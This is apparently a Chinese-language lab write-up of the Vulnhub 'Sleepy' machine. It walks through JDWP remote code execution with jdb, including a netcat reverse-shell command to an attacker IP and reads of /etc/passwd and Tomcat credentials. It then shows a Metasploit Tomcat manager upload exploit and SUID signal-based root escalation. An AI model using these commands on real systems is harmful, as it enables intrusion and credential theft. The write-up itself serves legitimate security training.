tick.Tack

/dev/random: Sleepy

/dev/random: Sleepy from Vulnhub


nmap掃描結果如下

root@kali:~/Security/sleepy# nmap -n -T5 192.168.0.117 --top-ports=5000 -A

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-12-19 23:46 CST
Warning: 192.168.0.117 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.0.117
Host is up (0.00032s latency).
Not shown: 4250 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
MAC Address: 08:00:27:79:0F:C3 (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 192.168.0.117

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.34 seconds

用anonymous登入ftp後只拿到一張看起來沒有線索的jpg檔,暫時先放到一邊

另外還開了兩個還沒遇過的port,用nc連過去都沒甚麼回應,先google一下一般開啟這兩個port的用途

port 8009大部分的用途是,Apache JServ Protocol

說不定自己架一個apache server再proxy過去就能看到網頁了

不過要使用這個功能必須先安裝 libapache2-mod-jk

安裝後再設定讓自己的Apache Server proxy到目標ip後,用瀏覽器就能看到架好的Tomcat Server了

連上後先嘗試登入tomcat的管理介面

不過試了很多組密碼都沒有用,用dirbuster也沒找到可疑的目錄,只能暫時擱置,來看另一個開啟的port

port 9001通常用於Java Debug Wire Protocol,可以讓使用者遠端debug JVM

首先找到這篇文章,大意是可以透過連入JDWP達到Remote code execution的效果

不過實際拿他的exploit來用(metasploit其實也有內建exploit了),發現很難猜到目標有使用的物件,繼續再找找有沒有替代方案

再來找到這篇:直接用jdb attach到目標後中斷程式,藉由建立新的物件達到執行命令的效果

root@kali:~/Security/sleepy# jdb -attach 192.168.0.117:9001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>

很順利地連上之後,先想辦法讓程式中斷

> threads
Group system:
  (java.lang.ref.Reference$ReferenceHandler)0x19d Reference Handler cond. waiting
  (java.lang.ref.Finalizer$FinalizerThread)0x19e  Finalizer         cond. waiting
  (java.lang.Thread)0x19f                         Signal Dispatcher running
Group main:
  (java.lang.Thread)0x1a1                         main              sleeping
> interrupt 0x1a1
>
Exception occurred: java.lang.InterruptedException (uncaught)"thread=main", java.lang.Thread.sleep(), line=-1 bci=-1

main[1]

來試試讓目標彈一個reverse shell回來

main[1]  print new java.lang.Runtime().exec("nc 192.168.0.115 12345 -e /bin/sh")                                         com.sun.tools.example.debug.expr.ParseException: Unable to create java.lang.Runtime instance
 new java.lang.Runtime().exec("nc 192.168.0.115 12345 -e /bin/sh") = null

失敗。接著換其他指令試試看

main[1] print new java.lang.Runtime().exec("cat /etc/passwd")
 new java.lang.Runtime().exec("cat /etc/passwd") = "java.lang.UNIXProcess@6a059fa4"

看起來有成功產生物件,但卻看不到內容,稍微研究一下要怎麼顯示exec的輸出,拼湊出了下面這難看的解法

main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("cat /etc/passwd").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("cat /etc/passwd").getInputStream())).readLine()) = "root:x:0:0:root:/root:/bin/bash"

但是用這方法實在很難操作,後來想到可以找看看tomcat的管理帳密

main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 1 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 1 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine()) = "</tomcat-users>"
main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 2 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 2 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine()) = ""
main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 3 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 3 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine()) = "<user username="sl33py" password="Gu3SSmYStR0NgPa$sw0rD!" roles="tomcat,manager-gui,admin-gui,admin,manager-jmx,admin-script,manager,manager-script,manager-status"/>"

帳號是 sl33py,密碼是 Gu3SSmYStR0NgPa$sw0rD。成功登入tomcat管理介面!

前面在研究tomcat密碼設定的過程中看到一篇文章:有人的伺服器被打入管理介面後塞了一個.war檔進去。

所以就先從file upload+code execution的方向去找exploit

在kali下用searchsploit找看看

root@kali:~# searchsploit tomcat  |  grep Upload
Apache Tomcat Manager - Application Upload Authenticated Code Execution                       | ./multiple/remote/31433.rb
Apache Commons FileUpload and Apache Tomcat - Denial-of-Service                               | ./multiple/dos/31615.rb

第一個看起來有點像是我們想要東西,而要實際操作這個exploit必須要使用metasploit

root@kali:~# msfconsole -q
msf > search tomcat
...
exploit/multi/http/tomcat_mgr_upload                         2009-11-09       excellent  Apache Tomcat Manager Authenticated Upload Code Execution
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) >

設定好之後用show options檢查一下

PASSWORD   Gu3SSmYStR0NgPa$sw0rD!  no        The password for the specified username
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOST      127.0.0.1               yes       The target address
  RPORT      80                      yes       The target port
  TARGETURI  /manager                yes       The URI path of the manager app (/html/upload and /undeploy will be used)
  USERNAME   sl33py                  no        The username to authenticate as
  VHOST                              no        HTTP server virtual host

設定沒問題就給他run下去!成功拿到meterpreter的shell!

msf exploit(tomcat_mgr_upload) > run

[*] Started reverse handler on 192.168.0.115:12333
[*] 127.0.0.2:80 - Retrieving session ID and CSRF token...
[*] 127.0.0.2:80 - Uploading and deploying 9Vw90ot2DD7eS...
[*] 127.0.0.2:80 - Executing 9Vw90ot2DD7eS...
[*] 127.0.0.2:80 - Undeploying 9Vw90ot2DD7eS ...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495598 bytes) to 192.168.0.117
[*] Meterpreter session 1 opened (192.168.0.115:12333 -> 192.168.0.117:37622) at 2015-12-21 00:25:56 +0800

meterpreter >

稍微研究一下目標電腦,會知道裡面有個叫sleepy的使用者,而且有個能夠以tomcat身分執行的suid程式

sh-4.2$ cat /etc/passwd
...
sleepy:x:1002:1002::/home/sleepy:/bin/bash
sh-4.2$ for i in $(find / -perm -4000 2>/dev/null); do ls -al $i; done
...
-rwsr-s---. 1 root tomcat 8669 Jan 18  2015 /usr/bin/nightmare

而實際執行後會跳出錯誤訊息

sh-4.2$ /usr/bin/nightmare
[-] error: no tty present

要tty是吧,試試看能不能用pty騙一下

sh-4.2$ python -c 'import pty;pty.spawn("/bin/bash");'
bash-4.2$ /usr/bin/nightmare
/usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]?

看來不能用騙的,最後只好把程式丟回kali分析看看

程式的架構大概是像下面這樣

void main()
{
    memset(var_a, 0x0, 0x98);
    sigaction(0x2, 0x40081f, 0);
    sigaction(0xf, 0x40081f, 0);
    if (open("/dev/tty", 0x2) == -1) {
        puts ("[-] error: no tty present");
    }
    else {
        fire();
        while (1) {
            printf ("[+] Again [y/n]?");
            var_b = getchar ();
            if (var_b == 'y' or var_b == 'Y') {
                fire();
            }
            else if (var_b == 'n' || var_b == 'N') {
                puts ("Oops.. 'n' is broken");
            }
        };
    }
}

void fire ()
{
    system("/usr/bin/aafire");
}

再來是sigaction所指定的函式

void sigHandler ()
{
    train();
    exit(0);
}

void train ()
{
    setresuid (0, 0, 0, 0);
    setresgid (0, 0, 0, 0);
    system ("/usr/bin/sl -al");
}

既然用到了setresuid和setresgid,看來是希望我們對/usr/bin/sl操作來達到提權的目的

花了一段時間,最後用”replace path to binary”當關鍵字找到一個神奇的解法

程式內用sigaction設定了當遇到SIGINT(0x2)和SIGTERM(0xf)時要進入sigHandler

不過因為現在是用meterpreter建的shell,如果下Ctrl+C的話,SIGINT指令會被meterpreter吃掉

只能再建另一個session,用kill -2或-15把signal送出後就拿到root了

bash-4.2$ /usr/bin/nightmare
/usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]? bash-4.2# id
id
uid=0(root) gid=0(root) groups=0(root),91(tomcat) context=system_u:system_r:tomcat_t:s0
bash-4.2#

/root/flag.txt是超佔畫面的的七個小矮人,就不放了